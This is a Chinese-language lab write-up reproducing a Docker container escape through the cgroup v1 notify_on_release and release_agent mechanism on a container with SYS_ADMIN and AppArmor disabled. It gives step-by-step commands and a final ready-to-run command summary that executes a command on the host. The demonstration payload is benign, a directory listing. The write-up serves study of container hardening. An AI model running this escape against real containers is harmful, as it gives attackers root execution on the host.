环境:
当给容器赋予了--cap-add=SYS_ADMIN权限和--security-opt apparmor=unconfined时,可以进行rewrite_cgroup_devices(devices.allow)、ebpf、notify_on_release(挂载cgroup)等多种方式进行逃逸,这里复现以下notify_on_release方式
前提条件:SYS_ADMIN开启;缺少AppArmor;cgroup v1虚拟文件系统必须以读写方式安装在容器内部
root@VM-2-33-ubuntu:~# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04 LTS
Release: 20.04
Codename: focal
root@VM-2-33-ubuntu:~# docker -v
Docker version 20.10.12, build e91ed57
root@VM-2-33-ubuntu:~# docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
过程
1 挂载宿主机cgroup,并自定义一个cgroup,这里是/tmp/cgrp/x:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
2 配置/tmp/cgrp/x的cgroup的notify_no_release和release_agent:
设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
3 写入自定义命令进行逃逸:
将执行的命令写入/cmd下,结果回显在当前目录的output下,执行完sh -c
之后,sh进程自动退出,cgroup /tmp/cgrp/x
里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
通过查看output可以到执行命令成功,
这样子不明显的话我们可以开启另一个宿主机shell,在宿主机root目录下创建一下1.txt的文件
然后在容器里读取
宿主机创建文件:
容器中执行ls /root,这里对应“ 3 写入自定义命令进行逃逸:”这一部分,发现可以看到1.txt
最后汇总一下所有命令
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"